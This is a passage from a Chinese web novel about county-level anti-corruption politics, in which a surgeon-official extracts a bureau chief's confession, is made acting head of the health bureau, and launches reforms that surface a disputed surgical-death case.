“比如,周学斌今天上午已经把他知道的都说了,包括他给你送的每一笔钱,办的每一件事。他的‘学习笔记’,可比钱富贵的详细多了。”
“我还知道,就在我们喝茶的这两个小时里,吴国栋局长带着财政和审计的人,已经把康达医疗和卫生局这三年所有的资金往来,翻了个底朝天。每一笔**发票套取的资金,流向了哪里,我想,他们很快就能画出一张清晰的地图。”
“哦,对了。”叶凡像是忽然想起了什么,脸上露出一丝玩味的表情,“就在来之前,我还接到了一个来自省城的电话。柳传明的女儿,柳如烟女士,她很‘好心’地提醒我,康达医疗的新东家,是她哥哥柳志鹏的朋友。让我小心点,别动了人家的蛋糕,不然人家会从省里,把我的‘手术台’给掀了。”
他看着面如死灰的马德龙,一字一句地问:“马局长,你觉得,我一个连柳家都敢掀翻的人,会怕一个柳志鹏的朋友吗?”
“你……你……”马德龙指着叶凡,嘴唇哆嗦着,再也说不出一句完整的话。
他所有的底牌,都被对方轻描淡写地掀开,然后当着他的面,撕得粉碎。
他以为自己是猎人,布下了天罗地网,却没想到,自己从头到尾,都只是那只被**于股掌之上的猎物。
恐惧,像潮水般淹没了他。
他想到了自己远在国外读书的儿子,想到了自己体弱多病的妻子,想到了自己奋斗半生才爬到的位置……这一切,都将因为自己的愚蠢和贪婪,化为泡影。
“扑通!”
马德龙肥胖的身躯从太师椅上滑落,重重地跪在了地上。
他不是跪叶凡,而是跪给了自己那即将崩塌的人生。
“我……我交代……我全都交代……”他
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涕泪横流,再也没有了半分卫生局长的威严,像一条丧家之犬,“叶组长,不,叶局长!求求你,给我指条明路!给我一条活路!”
叶凡居高临下地看着他,眼神里没有胜利的喜悦,只有医生的悲悯。
“路,我已经给你了。”他站起身,整理了一下自己的衣角,“是选‘断腕求生’,还是‘自掘坟墓’,你自己选。”
他走到门口,拉开了门,外面的光线照了进来,将他挺拔的身影,投射在马德龙失魂落魄的身上。
“马局长,茶凉了。明天上午九点,我在调查组办公室等你。”
“是带着你所有的‘学习资料’来,还是等着郑**派人去你办公室请你,你自己决定。”
说完,叶凡头也不回地走了出去,留下马德龙一个人,瘫在冰冷的地板上,被无尽的黑暗和恐惧所吞噬。
……
走出清风茶楼,晚风带着一丝凉意,吹散了包间里那股令人作呕的雪茄味。
不远处的黑色轿车里,车灯闪了两下。
叶凡走了过去,拉开车门,郑国平、吴国栋和苏沐秋三张写满紧张的脸,齐刷刷地望向他。
“怎么样?”郑国平的声音有些急切。
叶凡没有说话,只是将那支录音笔,轻轻放在了中控台上。
然后,他对着三人,露出了一个轻松的笑容。
“郑**,吴局长,可以准备收网了。”
“另外,”他看向吴国栋,“麻烦审计的同志们辛苦一下,今晚连夜把马德龙的个人资产和直系亲属的海外账户查一查。我估计,会有惊喜。”
吴国栋和郑国平对视一眼,都从对方眼中看到了难以置信的震撼。
这就……结束了?
一场他们眼中凶险万分的鸿门宴,一个他们认为棘手无比的硬骨头,就被这个年轻人,用一杯茶的时间,轻描淡写地解决了?
郑国平拿起那支录音笔,像是拿着什么稀世珍宝。
他很清楚,这支笔里录下的东西,将是压垮马德龙,并撬开整个青川县医疗系统**盖子的,最锋利的钥匙!
“沐秋,”叶凡转头看向苏沐秋,后者正亮着眼睛看他,那眼神里,有赞许,有好奇,更有藏不住的关心,“明天县报的头版,标题可以提前想好了。”
“叫什么?”苏沐秋下意识地问。
叶凡想了想,咧嘴一笑,露出一口白牙。
“就叫——《青山县医疗改革刮骨疗毒,反腐倡廉打响第一枪》。”
第104章 尘埃未定,余波又起!
第二天,上午八点五十五分。
县招待所三楼,专项调查组的临时办公室里,空气像被抽干了一样,安静得令人窒骨。
王功把他的大茶缸子擦了三遍,茶叶放了又拿出来,总觉得味道不对。
李莉的指甲无意识地在笔记本上划来划去,留下一道道白痕。
陈杰则像个桩子一样杵在门口,眼睛死死盯着走廊尽头,一动不动。
时钟的秒针,每跳动一下,都像一记小锤,敲在每个人的心上。
马德龙,会来吗?
叶凡坐在自己的位置上,手里捧着一本《基础外科学》,看得异常专注,仿佛外界的一切都与他无关。
只有苏沐秋,坐在角落的沙发上,抱着手臂,好整以暇地看着叶凡,嘴角噙着一抹若有若无的笑意。
她知道,这人越是平静,心里算计得越是精准。
墙上挂钟的时针,与“9”这个数字,重合。
“嗒、嗒、嗒……”
沉重而拖沓的脚步声,准时在走廊里响起。
那声音,不像是一个人走来的,更像是在拖着一副千斤重的镣铐。
办公室的门,被推开了。
马德龙站在门口,整个人像是被抽干了水分,一夜之间,老了十岁不止。
曾经梳得油光发亮的头发,此刻干枯散乱,布满了肉眼可见的白霜。
他身上还是昨天那套昂贵的西装,却皱得像咸菜干,领带歪斜着,透出一股穷途末路的颓唐。
他的手里,提着一个沉甸甸的黑色公文包。
他没有看叶凡,甚至没有看办公室里的任何人,目光空洞地扫了一圈,最后落在刚刚闻声赶来的郑国平和吴国栋身上。
“郑**,吴局长。”马德龙的嗓子像是被砂纸磨过,沙哑不堪,“我……来自首。我交代,我全都交代。”
说完,他像是用尽了全身的力气,走到会议桌前,“砰”地一声,将公文包扔在桌上。拉链拉开,他把里面的东西一股脑地倒了出来。
哗啦啦——
几本厚厚的账本,一叠房产证,几串钥匙,还有十几个用橡皮筋捆着的银行存折和银行卡……像一堆肮脏的垃圾,摊在了众人面前。
“这是我这些年,收的每一笔钱,康达医疗给的回扣,下面乡镇卫生院送的孝敬,还有……还有帮别人办事的好处费,全在这里。”
“这是我在市里给我老婆买的房子,给我儿子在澳洲买的公寓,钥匙和房本都在。”
“这些卡里,是我转移出去的钱,密码都写在后面了……”
他每说一句,办公室里的人就齐齐抽一口冷气。
王功手里的茶缸“哐当”一声掉在地上,滚烫的茶水洒了一地,他却浑然不觉。李莉的嘴巴张成了“O”型,再也合不拢。
这哪里是自首,这分明是一场公开的自我解剖。
郑国平的脸上第一次露出了无法掩饰的震惊。
他办过无数案子,见过各种各样的贪官,有抵死不认的,有痛哭流涕的,有精神崩溃的,却从没见过像马德龙这样,把自己的罪证整理得如此“井井有条”,像是生怕调查组工作量不够大一样。
他和吴国栋对视一眼,都从对方眼中看到了同一个意思:那个叫叶凡的年轻人,昨天晚上在茶楼里,到底对马德龙做了什么?
“叶……叶组长……”马德龙终于转向叶凡,双腿一软,竟想跪下。
“马局长。”叶凡不知何时已经站了起来,抢在他膝盖落地前,伸手扶住了他的胳膊,力道不大,却让他无法再跪下去。
“站着说。”叶凡的声音很平静,“你现在是来向组织坦白问题的干部,不是犯人。你的问题,组织会查清。你的态度,组织也会看到。”
马德龙浑身一颤,浑浊的眼睛里,第一次有了一丝光亮。
他明白,叶凡这是在给他保留最后一点体面。
他死死抓住叶凡的手,像抓住最后一根救命稻草,老泪纵横:“谢谢……谢谢……”
……
马德龙被纪委的人带进了隔壁的审讯室,一场彻底的清算,正式开始。
办公室里,死一般的寂静过后,是压抑不住的骚动。
“我的娘唉!”王功一屁股坐回椅子上,捡起地上的茶缸,喃喃自语,“我算是看明白了,叶组长这张嘴,比纪委的审讯室还厉害。这哪是鸿门宴,这是阎王殿啊,进去一趟,魂都吓没了。”
陈杰凑到叶凡身边,满眼都是小星星,激动得话都说不利索:“叶老师!您……您简直神了!”
叶凡笑了笑,没说话,重新拿起那本《基础外科学》。
仿佛刚才发生的一切,不过是手术前的一次常规消毒。
就在这时,郑国平办公室的电话响了。
他接起来,只“嗯”了几声,脸色就变得异常严肃。挂了电话,他快步走到叶凡面前。
“县委张**的电话。”郑国平的语气复杂,“**说,‘干得很好,挖得要深,收尾要净’。”
话音刚落,吴国栋的手机也响了。
他接完电话,同样一脸凝重地走过来:“李县长的电话。县长说,‘效率很高,损失要追回,影响要控制’。”
两位领导,两位“主刀专家”,此刻看着叶凡的眼神,已经彻底变了。
如果说之前是忌惮和惊讶,那么现在,就是实实在在的敬畏。
这个年轻人,不仅能精准地找到病灶,还能让病灶自己躺到手术台
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上,请求切除。
这种本事,他们闻所未闻。
下午,最新一期的《青川县报》加急印发,送到了全县各单位的案头。
头版头条,黑体加粗的标题,像一声惊雷,在青川县这片土地上炸响——
《我县医疗改革刮骨疗毒,反腐倡廉打响第一枪》
文章虽然没有点马德龙的名,但字里行间透露出的信息,足以让所有“圈内人”心惊胆战。
整个下午,县政府大楼里都弥漫着一股诡异的气氛。
以往人来人往的卫生局楼层,变得门可罗雀,几个科室的门都紧紧关着,偶尔有人从里面出来,也是行色匆匆,脸色煞白。
苏沐秋抱着一叠还散发着油墨香的报纸,走进了叶凡的办公室,俏皮地行了个军礼。
“报告叶组长,**的炮弹已经打出去了,效果拔群。我听说,今天下午,县里碎纸机的销量都翻了一番。”
叶凡从报纸上抬起头,看着她狡黠的笑容,也不禁莞尔:“苏大记者辛苦了。标题很不错,很有震慑力。”
“那是,也不看是谁写的。”苏沐秋把报纸放在他桌上,状似无意地问,“怎么样,省城吹来的那阵风,没把你的手术台吹歪吧?”
“风太大,容易闪了舌头。”叶凡端起茶杯,轻轻吹了吹热气,“某些人,与其有时间关心别人的手术台,不如先看看自家的房子,地基牢不牢。”
苏沐秋听懂了他话里的意思,柳家。
她那双明亮的眼睛里,闪过一丝不易察觉的担忧,但很快又被笑意取代。
她相信他。
办公室的窗外,夕阳西下,给整个青川县城镀上了一层金色的光辉。
叶凡站起身,走到窗边,俯瞰着楼下车水马龙的街道。
一场风暴看似已经平息,但他知道,这只是开始。
马德龙倒下了,卫生局长的位置空了出来,这个烂摊子,谁来接?怎么接?这又将是一场新的博弈。
他亲手切开了一个脓包,现在,他必须负责把它清理干净,让新的组织重新长出来。
就在他出神时,桌上的手机,突兀地响了起来。
他拿起来一看,是一个陌生的座机号码。
按下接听键。
“是叶凡同志吗?”电话那头,传来一个沉稳而有力的声音。
“我是。”
“我是**。”
县长!
叶凡的心跳,漏了一拍。
“来我办公室一趟。”
电话那头没有多余的寒暄,只有一句不容置疑的指令。
“现在。”
“嘟……嘟……嘟……”
听着手机里的忙音,叶凡的眼睛微微眯起。
真正的牌局,现在才刚刚开始。
第105章 县长办公室的考题!
县政府大楼的走廊,比平时安静了许多。
灯光将人的影子拉得很长,踩在地板上的脚步声,显得格外清晰。
叶凡走在去往县长办公室的路上,沿途遇到的几名干部,反应各不相同。
有的人远远看到他,便立刻低下头,脚步加快,像是在躲避瘟神;有的人则会停下脚步,脸上挤出僵硬而讨好的笑容,试探性地喊一声“叶局长”;还有的,则用一种混杂着嫉妒与审视的目光,在他背后打量。
青川县的天,一夜之间就变了。
而他,就是搅动风云的那个人。
推开**办公室厚重的木门时,一股淡淡的烟草味扑面而来。
办公室不大,布置得极为简单。一张宽大的办公桌,一排书柜,墙上挂着一幅巨大的青川县地图,上面用红蓝两色的笔,标注着各种记号。
**正站在地图前,背着手,眉头紧锁。
他身材高大,肩膀宽厚,穿着一件半旧的白衬衫,袖子挽到了手肘,透着一股子干练利落的劲儿。
听到开门声,他没有回头,只是用夹着烟的手,指了指地图上的一点。
“这里是梅林镇,这里是县医院。”他的声音沉稳,带着一种不容置疑的穿透力,“从梅林镇拉一个急诊病人到县医院,救护车最快也要四十分钟。四十分钟,能死三回了。”
他转过身,目光如炬,直直地看向叶凡。
那是一种纯粹的、不带任何情绪的审视,像外科医生在看一张刚拍出来的CT片。
“马德龙在卫生局长的位子上干了八年,青川县的城乡医疗急救体系,还是八年前的老样子。叶凡同志,你怎么看?”
这个问题,问得又大又急。
既是在问马德龙的失职,也是在问叶凡对整个卫生系统烂摊子的看法,更像是一次毫无铺垫的面试。
办公桌上,茶已经泡好了,正冒着热气。
叶凡没有立刻回答,他走到办公桌前,看了一眼那杯为他准备的茶,然后才抬起头,迎上**的目光。
“李县长,我不懂怎么看一个官员,我只懂怎么看一个病人。”
**眉毛一挑,没说话,示意他继续。
“青川县的医疗系统,现在就是一个急性病发的病人。病根,是马德龙和他背后的利益链,这是恶性肿瘤。但现在,肿瘤虽然被初步控制,可病人本身也因为手术创伤,出现了严重的并发症。”
叶凡伸出手指,点了点自己的太阳穴。
“第一,脑死亡。卫生局作为大脑,现在群龙无首,人心惶惶,政令不出办公室,整个系统处于瘫痪状态。”
他又点了点自己的胸口。
“第二,心衰。中层干部作为心脏,要么是马德龙的旧部,现在如惊弓之鸟,要么是长年被打压的老实人,有心无力,失去了泵血功能。整个队伍的士气,跌到了谷底。”
最后,他摊开手掌。
“第三,末梢神经坏死。下面的乡镇卫生院,作为神经末梢,长期缺医少药,管理混乱,现在更是失去了大脑的指挥,彻底成了没头苍蝇。老百姓看病难、看病贵的问题,不仅没解决,反而可能因为这次的动荡,变得更加突出。”
一番话,没有半句空话套话,全是问题,全是病症。
**眼中的审视,渐渐被一丝惊讶所取代。
他拉开椅子,坐了下来,自己端起茶杯喝了一口,然后指了指对面的椅子。
“坐下说。”
这是他见到叶凡后,第一次让他坐。
“说得很好。”**将烟在烟灰缸里按灭,“你把病症都找出来了。那么,药方呢?或者说,你这台手术,下一步打算怎么做?”
这才是真正的考题。
人事,是官场中最敏感的话题。
马德龙倒了,卫生局长的位置空了出来,县里不知道有多少双眼睛盯着。
**问他药方,实际上是在问,这把椅子,该谁来坐?
叶凡若是推荐某个人,那就是拉帮结派。
若是毛遂自荐,那就是不知天高地厚。
叶凡坐了下来,腰杆挺得笔直。
“李县长,一个刚做完大手术的病人,身体极度虚弱,最忌讳的就是立刻进行下一场大手术,或者给他换一个全新的主治医生。”
他看着**,语气诚恳。
“我认为,当务之急不是讨论谁来当这个局长,而是要先稳住局面,给病人上‘生命支持系统’。”
“第一,止血。我建议,由县政府办公室牵头,从纪委、财政、我们医疗改革工作组抽调骨干,组成一个临时监管小组,立刻进驻卫生局。不干涉具体业务,只做三件事:稳住人心,保障工资发放;封存账目和人事档案,防止有人销毁证据;接收群众举报,把问题彻底摸清。”
“第二,清创。在稳住局面的同时,由纪委和组织部对卫生系统的中层干部,进行一次彻底的甄别谈话。谁是脓,谁是肉,要分清楚。有问题的,坚决清除;有能力、干净的,要大胆启用,让他们看到希望。”
“第三,输血。现在的卫生局,最缺的不是一个局长,而是一个能立刻解决问题的方案。我建议,把我们之前制定的‘城乡医疗一体化’改革方案,立刻作为试点,在情况最严重的梅林镇和另外两个乡镇推行下去。用实实在在的工作,来凝聚人心,转移矛盾,让老百姓看到政府的决心,也让那些想干事的干部,有事可干。”
叶凡说完,端起茶杯,喝了一口。
不烫不凉,温度正好。
办公室里,陷入了长久的沉默。
**没有说话,只是重新点燃了一根烟,一口一口地抽着,烟雾模糊了他脸上的表情。
他设想过叶凡的无数种回答。
他以为这个年轻人会慷慨陈词,痛斥时弊;或者会小心翼翼,字斟句酌地回避问题;甚至会隐晦地表达自己的想法。
但他唯独没想到,叶凡会
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交出这样一份答卷。
没有一句涉及人事,没有半点个人诉求。
通篇讲的都是问题,是方案,是流程。
这是一个纯粹的、彻底的“解决问题”的思路。
稳住局面,甄别干部,推动工作。
这三步棋,像一个外科医生的手术流程,精准、冷静,而且环环相扣,滴水不漏。
更重要的是,这个方案,完美地避开了县委张**和自己这边的派系之争。
临时监管小组,由政府办牵头,纪委和组织部参与,谁也说不出什么。用推动工作来解决眼下的困境,更是谁也无法反对的阳谋。
这个年轻人,太可怕了。
他看的不是棋盘上的位置,而是整个棋局的死活。
许久,**才将烟头狠狠地按进烟灰缸。
“你的方案,我原则上同意。”他看着叶凡,眼神已经彻底变了,那是一种看到了一把绝世好刀的眼神,锐利,且带着欣赏,“但是,这个临时监管小组,谁来领头?这台‘清创手术’,谁来主刀?”
叶凡放下了茶杯。
他知道,最后的考验来了。
“报告李县长。”他站起身,声音不大,却掷地有声,“我是一名外科医生,我的天职就是上手术台。只要组织需要,我随时可以拿起手术刀。”
没有退缩,没有谦虚。
而是一种当仁不让的担当。
**笑了。
那是他今晚,第一次露出真正的笑容。
“好!”他站起身,走到叶凡面前,重重地拍了拍他的肩膀,“要的就是你这句话!”
“我明天会在**会上提议,由你,卫生局副局长叶凡同志,兼任临时监管小组组长,暂代主持卫生局全面工作。”
“我给你一个月的时间。”**的目光变得无比锐利,“一个月后,我要看到一个全新的卫生局。不是让你把所有问题都解决,而是要让我看到,这个病人,已经脱离了生命危险,并且有了活下去的希望。”
“做得到吗?”
“保证完成任务!”叶凡立正,声音铿锵有力。
走出县长办公室,夜色已深。
走廊里的风,吹在脸上,带着一丝凉意。
叶凡的心,却是一片火热。
暂代主持卫生局全面工作。
虽然前面还挂着“暂代”二字,但这已经意味着,从明天开始,他将真正成为青川县整个医疗系统的掌舵人。
一副千斤重担,就这么压在了他的肩上。
但他没有丝毫畏惧,反而有一种前所未有的兴奋。
就像一个外科医生,终于得到了一台最具挑战性,也最能证明自己的手术。
他拿出手机,看到苏沐秋半小时前发来的一条信息。
“谈完了吗?县长没把你生吞活剥了吧?”
叶凡笑了笑,手指在屏幕上快速敲击。
“刚出手术室。病人病情复杂,家属情绪稳定。从明天起,正式开始治疗。”
第106章 新官上任,先烧自己!
第二天一早,青川县卫生局的大楼,气氛静得能听见灰尘落地的声音。
以往八点半还稀稀拉拉的走廊,今天不到八点就站满了人。
所有人都在用眼角的余光,瞄向那个空置已久的局长办公室。
不,现在应该叫“代局长”办公室。
叶凡的车停在楼下时,三楼的窗户后面,至少有十几双眼睛在同时进行观察。
他还是穿着那身半旧的夹克,手里提着自己的公文包,步履沉稳地走进大门。
没有前呼后拥,没有志得意满,平静得像一个来办事的普通医生。
可他所过之处,空气都仿佛凝固了。
人们下意识地噤声,让开道路,目光复杂地追随着他的背影,直到他消失在楼梯拐角。
“王老师,把咱们医疗改革工作组的牌子,挂到局长办公室门口去。”叶凡一进门,就对跟在身后的王功说道。
王功一愣:“啊?叶局,这……这不合适吧?您现在是代局长,挂那个牌子,别人会说闲话的。”
“就因为我是代局长,才要挂这个牌子。”叶凡脱下外套,挂在简陋的衣架上,“我要让所有人都知道,我坐在这里,不是为了当官,是为了继续搞医疗改革。谁想干事,就到这间办公室来。谁想混日子,就离这块牌子远一点。”
王功看着叶凡清澈而坚定的眼神,心头一热,腰杆瞬间挺直了:“好嘞!我马上去办!”
李莉和陈杰也跟了进来,一个麻利地开始收拾办公室,另一个则跑前跑后,给叶凡泡好了茶。
这个小小的团队,成了这座死气沉沉大楼里,唯一跳动的脉搏。
九点整,卫生局中层以上干部会议,在小会议室准时召开。
长条形的会议桌旁,坐满了各个科室的负责人。
大部分人都眼观鼻,鼻观心,正襟危坐,表情严肃得像是来参加追悼会。
只有坐在叶凡斜对面的办公室主任刘建民,脸上挂着一丝若有若无的笑意。
刘建民是局里的老油条,马德龙在位时,他就是办公室主任,迎来送往,八面玲珑。
马德龙倒了,他却毫发无损,据说他早就投靠了县委张**那边,是张**安插在卫生局的一枚重要棋子。
“同志们,长话短说。”叶凡的目光平静地扫过全场,没有开场白,没有官话套话,直奔主题。
“从今天起,我暂代主持卫生局全面工作。我知道,大家现在心里都有想法,有疑虑,有担忧。这很正常。”
“俗话说,新官上任三把火。今天,我也要烧三把火。”
来了!
所有人都精神一振,身体下意识地坐直了。
刘建民嘴角那丝笑意更浓了,他倒要看看,这个毛头小子,第一刀准备砍向谁。
“第一把火,”叶凡伸出一根手指,“烧我自己。”
会议室里,一片死寂。
所有人都以为自己听错了。
烧自己?
这是什么路数?
叶凡不理会众人的惊愕,继续说道:“从今天开始,在局办公大楼门口,设立一个‘局长信箱’。任何人,对卫生局的工作,对下面的医疗单位,甚至对我叶凡本人有任何意见、建议、举报,都可以写成信,匿名投进去。”
“这个信箱,钥匙由县纪委派驻的同志、我们医疗改革工作组的王功老师,以及办公室的刘建**任,三人共同掌管。每周一开箱,所有信件内容,不经筛选,直接在局里的公告栏上,全文公示。”
“轰”的一声,会议室里炸开了锅。
全文公示?连对代局长的举报都公示?
这是疯了吗?
自古以来,哪有领导自己给自己挖坑的?
刘建民脸上的笑容彻底僵住了。
他想过一万种可能,唯独没想过叶凡会来这么一手。
这哪里是烧火,这分明是往自己身上浇汽油啊!
“叶……叶局长,”刘建民清了清嗓子,第一个站出来反对,“您的想法是好的,从善如流,值得肯定。但是……这个操作,是不是有点太……太激进了?匿名信件,难辨真伪,万一有人恶意中伤,捕风捉影,会对我们正常的工作秩序,造成极大的干扰和破坏啊!”
他说得“义正言辞”,立刻得到几个老科长的附和。
“是啊,刘主任说得对,万一有人乱写,影响团结。”
“人心隔肚皮,这法子太冒险了。”
叶凡静静地听着,等他们说完了,才抬起眼皮,看向刘建民。
“刘主任的担忧,很有道理。”他先是肯定了一句,然后话锋一转,“但我想问问在座的各位,我们是怕工作秩序**扰,还是怕听到老百姓和基层同志的真话?”
“一个医生,如果害怕听到病人喊疼,那他永远也找不到病灶。我们卫生局,现在就是一个重病患者,再不听听身体各个器官的呼救,恐怕就不是干扰工作秩序的问题,而是整个系统瘫痪的问题了。”
他的声音不大,却字字诛心。
刚刚还在附和的几个科长,瞬间哑火了,纷纷低下头,不敢与他对视。
刘建民的脸色一阵青一阵白,还想争辩。
叶凡却没给他机会,继续说道:“至于恶意中伤的问题,更好解决。我相信群众的眼睛是雪亮的,也相信在座各位干部的党性。真的假不了,假的也真不了。如果连这点谣言都分辨不清,那只能说明我们自己的工作,做得还不够扎实。”
他看着脸色铁青的刘建民,忽然笑了。
“正好,这第二把火,就要麻烦刘主任了。”
刘建民心里咯噔一下,有种不祥的预感。
“第二把火,烧的是机关作风。”叶凡的声音陡然拔高,“从今天起,局里所有科室,取消口头汇报。所有工作请示、方案、总结,全部形成书面材料。办公室负责登记编号,限时批复,限时办理。谁的件,办到哪个环节,卡在了谁手里,一目了然。”
“刘主任,你是办公室主任,是咱们卫生局的大管家。这件事,就由你来牵头落实。一周之内,
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我要看到全新的公文流转制度。能不能做到?”
这简直就是把刀柄递到了刘建民手里,却逼着他把刀刃对准自己人。
办公室是权力的中枢,也是最容易推诿扯皮的地方。
这个制度一旦实行,他这个办公室主任,就从一个八面玲珑的“和事佬”,变成了一个得罪所有人的“催债鬼”。
刘建民的额头渗出了细密的汗珠。
他能说做不到吗?
当着这么多人的面,说自己连本职工作都搞不定?
“保证……完成任务。”他从牙缝里挤出这几个字。
“很好。”叶凡点了点头,伸出了第三根手指。
“这第三把火,烧向基层。”
所有人的心又提了起来。
“我宣布,从下周一开始,局机关全体干部,除了必要的留守人员,全部下到对口的乡镇卫生院,进行为期一个月的蹲点调研。每个人,都要形成一份不少于五千字的调研报告。吃住在乡镇,不许给基层增加任何负担。”
“一个月后,我们在这里,开一场述职报告会。谁的报告是抄的,谁是真正下去了,谁提的问题有价值,谁在敷衍了事,当场评议。评议结果,将作为今年年终考核,以及后续干部提拔任用的最重要依据。”
话音落下,满场死寂。
这三把火,一环扣一环,一把比一把烧得旺。
第一把火,烧自己,堵住了所有人的嘴,占据了道德制高点。
第二把火,烧作风,拿办公室开刀,整顿了内部纪律,斩断了推诿扯皮的根子。
第三把火,烧基层,把所有人都赶出安乐窝,是骡子是马,拉出去遛遛,彻底打破了机关的沉闷局面。
这哪里是烧火,这分明是一套组合拳,一套精准、狠辣、让人无法反驳的阳谋!
刘建民彻底蔫了,他看着台上那个年轻人,眼神里第一次露出了恐惧。
他终于明白,自己面对的,根本不是一个愣头青,而是一个手法高超、心思缜密的“外科医生”。
他不是在搞**,他是在给卫生局这个病人,做一场刮骨疗毒的彻底清创!
会议结束,叶凡回到办公室,整个卫生局大楼却彻底“活”了过来。
有人唉声叹气,有人摩拳擦掌,有人立刻开始打电话疏通关系,更多的人则是在办公室里,悄悄地写起了那封投往“局长信箱”的信。
一潭死水,彻底被搅动了。
叶凡刚坐下,手机就震动了一下,是苏沐秋发来的信息。
“叶大局长,听说你今天放火烧山,差点把自己给燎了?够狠的啊。”
叶凡笑了笑,回道:“清扫手术室的第一步,是给主刀医生自己消毒。不然,病人没救活,先被医生给感染了。”
信息刚发出去,办公室的门被敲响了。
“请进。”
门推开,一个戴着眼镜、文质彬彬的中年人站在门口,神情有些局促和不安。
“叶……叶局长,您好,我是医政科的科长,我叫秦朗。”
第107章 第一封信,第一颗雷!
医政科,是卫生局的业务核心,负责医疗质量、事故鉴定、医师资格,可以说是专业性最强的部门。
秦朗,作为医政科的科长,在马德龙时代,却是最憋屈的人之一。
他是个纯粹的技术官僚,看不惯马德龙那套只讲关系、不讲规矩的做派,因此被处处打压,科里的业务骨干也被排挤得七零八落。
“叶局长。”秦朗推了推鼻梁上的眼镜,声音不大,但很清晰,“我来,是想向您汇报一下医政科目前的情况。”
“坐下说,秦科长。”叶凡指了指对面的椅子。
秦朗拘谨地坐下,双手放在膝盖上,像个听候老师发落的小学生。
“马德龙在的时候,我们科室基本就是个摆设。所有的医疗事故鉴定,他都亲自‘协调’;所有的新技术审批,他都一句话拍板。我们这些搞业务的,反而成了盖章的工具。”秦朗的声音里带着长久压抑后的苦涩。
“我今天听了您在会上的‘三把火’,特别是第一把火,说实话,我很激动,也很……很担心。”
“担心什么?”叶凡饶有兴致地问。
“担心您这把火,烧得太旺,最后会烧到您自己。”秦朗抬起头,眼神里透着一股知识分子的执拗,“您这是在挑战整个青川县**,他们不会让您这么轻易得逞的。”
叶凡笑了:“秦科长,我是个外科医生。手术台上,我只考虑怎么切除肿瘤,不会考虑肿瘤的感受。现在也是一样。”
他看着秦朗,话锋一转:“你今天来,不只是为了提醒我吧?”
秦朗的身体猛地一震,随即苦笑了一下。
他从随身携带的公文包里,拿出一份文件,双手递了过去。
“叶局,这是我们科压了快半年的一个案子。您既然要烧火,那这第一把火,恐怕就要从这块最硬的骨头开始啃了。”
叶凡接过文件,封面上“关于县中医院患者周桂芬医疗**的调查报告(初稿)”几个字,触目惊心。
他快速翻阅起来。
事情不复杂,一个叫周桂芬的老太太,在县中医院做胆囊切除手术,术后出现严重感染,抢救无效死亡。
家属认为是医疗事故,在医院门口摆花圈、拉横幅,闹得沸沸扬扬。
棘手的是,死者的儿子,叫**,是县里有名的“滚刀肉”,早年混社会出身,现在开了家拆迁公司,手底下养了一帮人。
而给周桂芬主刀的医生,叫高建军,是县中医院技术最好的外科大夫,但脾气又臭又硬,是院里出了名的“刺头”,谁的面子都不给。
家属一口咬定是高建军手术失误,要求赔偿一百万,还要开除高建军。
而高建军坚称手术过程没有问题,是患者自身有未查出的基础病,加上术后家属护理不当导致的感染,一分钱都不赔。
马德龙在的时候,两边和稀泥,想让医院赔点钱私了,结果**嫌少,高建军嫌冤,两头不讨好,事情就这么拖了下来。
“这个**,背后有人。”秦朗压低了声音,“我听说,他和城关镇的镇委**,是拜把子的兄弟。而高建军医生是我们县唯一能做胰十二指肠切除术的专家,去年省里还想把他挖走,是老院长求爷爷告奶奶才留下的。这案子,就是个烫手的山芋,怎么判,都得得罪人。”
叶凡合上文件,手指在封面上轻轻敲击着。
他明白了。
秦朗这是在交“投名状”。
他把最难、最得罪人的案子摆出来,就是想看看自己这个新来的代局长,是真想治病,还是只想作秀。
“我知道了。”叶凡把文件放到桌上,“这份报告,我收下了。秦科长,谢谢你。”
“叶局,您……”
“你只需要把所有原始的病历资料、手术记录、还有你们科室的初步调查结论,再整理一份,明天交给我。”叶凡看着他,目光清澈,“剩下的,交给我。”
秦朗看着叶凡平静的脸,心里五味杂陈。
他起身,郑重地鞠了一躬,然后转身离去。
……
三天后,周一上午。
卫生局大院里,公告栏前,史无前例地围满了人。
今天是“局长信箱”第一次开箱的日子。
按照规定,纪委派驻员、王功、还有办公室主任刘建民,三把钥匙,当着所有人的面,同时插入,打开了那个红色的铁皮箱。
刘建民的脸上挂着公式化的笑容,心里却在冷笑。
他早就安排好了,今天这信箱里,注定会有一份“大礼”,一份能让叶凡下不来台的大礼。
王功显得有些紧张,从信箱里往外掏信的时候,手都有些抖。
“哎哟,还真不少!”王功掏出一大把信,粗略数了数,得有二三十封。
“来,刘主任,老哥,咱们一起念念,让大伙儿都听听群众的呼声。”王-功把信摊在桌上。
刘建民清了清嗓子,拿起第一封信,朗声念道:“尊敬的叶局长,我建议把咱们局的厕所好好修修,夏天太味儿了!”
“哈哈哈……”人群中发出一阵哄笑。
“这个建议好,我同意!”王功煞有介事地在一旁附和。
第二封信:“建议食堂的红烧肉多放点肉,少放点土豆。”
第三封信:“建议给女同志的办公室装个空调,夏天太热了。”
……
一连七八封,都是些鸡毛蒜皮的后勤琐事。
刘建民的脸色渐渐有些不好看,他感觉自己像个念菜单的小丑。
就在这时,他看到了一封牛皮纸信封,字迹工整,一看就是有备而来。
他心中一动,知道正戏来了。
“这封信,写得很长啊。”他装模作样地拆开,展开信纸,只看了一眼,便故作惊讶地“哎呀”了一声。
“怎么了,刘主任?”王功凑了过去。
“这……这封信,是**!”刘建民的音量陡然拔高,成功吸引了所有人的注意。
“信里说,县中医院的外科医生高建军,草菅人命,在手术中造成患者死亡,医院和卫生局官官相护,压了半年不处理。死者家属走投无门,叫天天不应,叫地地不闻!信的最后,还质问我们新领导,这第一把火,到底是真的反腐,还是只烧苍蝇不打老虎的作秀!”
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>刘建民念得声情并茂,抑扬顿挫,仿佛一个正义的化身。
话音落下,全场死寂。
所有人的目光都齐刷刷地投向了站在人群后面的叶凡。
来了!
这才是真正的考验!
所有人都知道高建军和**那个案子,那是马德龙都啃不动的硬骨头。
现在,这封信,等于是把叶凡架在了火上。
处理?
得罪一尊神,还得罪一头狼。
不处理?
那他刚立起来的“三把火”,瞬间就成了个笑话,威信扫地。
刘建民放下信,一脸“沉痛”地看向叶凡:“叶局,您看,这……这问题很严重啊。群众的眼睛是雪亮的,我们不能辜负了他们的信任。这件事,必须一查到底!”
他把皮球,狠狠地踢了过去。
叶凡从人群中缓缓走出,脸上看不出喜怒。
他走到桌前,拿起那封信,看了一遍。
然后,他笑了。
“写得很好。”叶凡举起那封信,对着所有人,“这封信提了一个我们卫生系统一直想解决,却没能解决好的问题。我感谢这位写信的同志,这说明我们的信箱没有白设!”
他顿了顿,目光扫过全场,最后落在了刚刚赶来的秦朗脸上。
